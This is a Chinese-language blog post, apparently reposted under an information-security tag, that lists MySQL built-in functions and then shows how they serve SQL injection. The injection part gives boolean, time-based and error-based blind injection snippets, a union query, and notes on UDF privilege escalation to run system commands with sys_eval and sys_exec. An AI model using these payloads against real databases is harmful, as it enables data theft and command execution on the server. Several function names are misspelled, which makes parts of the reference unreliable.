資料庫系統功能
MySQL系統自帶函式
*更多函式:https://blog.csdn.net/qq646040754/article/details/82721801
數學函式:
bin(x)/hex(x) 回傳x的二進制/十六進制編碼
abs(x) x的絕對值
mod(x,y) 求余運算
sqrt(x) 平方根運算
ceil(x) / ceiling(x)
rand() 回傳0~1之間的浮點數
round(x,D) 四舍五入保留D位小數
sign(x) 回傳x的符號
pow(x,y) x的y次冪
exp(x) e的x次冪
floor(x) 回傳小于或等于x的最大整數
count(x) 回傳查詢的記錄總數
sum() 回傳計算總和
日期函式:
addate(d,n) 計算起始日期d加上n天的日期
addtime(t,n) 計算t加上n秒的時間
curdate() current_date()回傳當前日期
curtime() current_time()回傳當前時間
current_timestamp() localtime() now() sysdate() 回傳日期和時間
字串函式:
ascii(str) 回傳字串第一個字符的ASCII值

char_langth(str) 統計字串的字符數
length(str) 回傳str字串的長度

insert(str,x,y,insert) 將字串從x開始,y個字符長度替換為字串insert
lpad(s1,len,s2) 在字串s1的開始處填充字串s2,使得長度達到len
rpad(s1,len,s2) 在字串s1的結尾處填充字串s2,使得長度達到len
ltrim(s)/rtrim(s) 洗掉字串s的開始/結尾處的空格
locate(s1,s) 從字串s中獲取s1的開始位置
position(s1 in s2) 從字串s中獲取s1開始的位置
left(s,n)回傳字串s的前n個字符
right(s,n) 回傳字串s的后n個字符
mid(s,n,len),substring(s,n,len),substr(s,n,len) 從n位置字串s截取len
concat(s1,s2,…)回傳s1,s2連接的字串
concat_ws(s1,s2,'char'^) 回傳可自由添加分隔符的拼接字串

lcase() lower() 字母小寫轉換
ucase(s) upper(s) 字母大寫轉換
field() 回傳第一個字串在字串串列的位置
find_in_set(s1,s2) 回傳字串s1在字串s2的匹配位置
repeat(s,n) 字串s重復n次
reverse(s) 字串反序
strcmp(s1,s2) 比較字串s1,s2并回傳比較結果
nullif(exp1,exp2) 比較兩個字串
formax(x,n) 對數字x進行格式化,將x保留到小數點后n位(四舍五入)
truncate(x,y) 回傳數值x保留到小數點后y位的值,(不會四舍五入)
binary(s) 將字串s轉換為二進制字串
特殊函式:
connection_id() 回傳連接該資料庫服務器 的ID
current_user() sssion_user system_user() user() 回傳當前用戶名
database() 回傳當前資料庫名
version() 回傳資料庫的版本號
@@version_compile_os 查看系統架構
@@version_compile_machine 查看mysql架構
@@datadir 查看資料的存盤目錄

函式的利用姿勢:
length函式:判斷長度
select length(database());
count()函式:回傳匹配指定條件的行數
union select 1,count(*),3 from user;-- 查看當前表的數量

mid()函式:用于從欄位中提取(一段)字符(布爾/時間/報錯 盲注)
and mid(user(),1,1)='r';
and if(mid(user(),1,1)='r',sleep(2),1);
and updatexml(1,mid(concat(0x7e,user()),1,5),1)
group by陳述句:結合聚合函式使用(報錯注入)
and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)
if(1,2,3):時間盲注
select if(1=1,sleep(2),1)
MySQL執行系統命令
system 執行格式:
mysql> system <linux命令>
UDF提權執行系統命令:
-
UDF是MySQL用戶自定義的函式,
-
要求:
plugin目錄具備讀寫權限
查看系統和MySQL架構
select @@version_compile_os , @@version_compile_machine ;

UDF庫需要放在MySQL的plugin檔案中
select @@plugin_dir;


自定義創建函式語法:
create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';
AGGREGATE 表示聚合函式,系統定義的聚合函式有:count(),ave(),mn(),sum()
SONAME 表示這個函式從哪個檔案中引入,這個檔案一般是元件,windows是dll,linux是so,并且這個檔案再mysql的plugin目錄下;
UDF支持的函式:
sys_eval 執行任意命令,并回傳他的輸出
sys_exec 執行任意命令,并回傳他的退出代碼
sys_get 獲取環境變數的值
sys_set 創建環境變數或更新現有的環境變數的值
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/6880.html
標籤:訊息安全
上一篇:夯實 JS 基礎(慢慢更新)
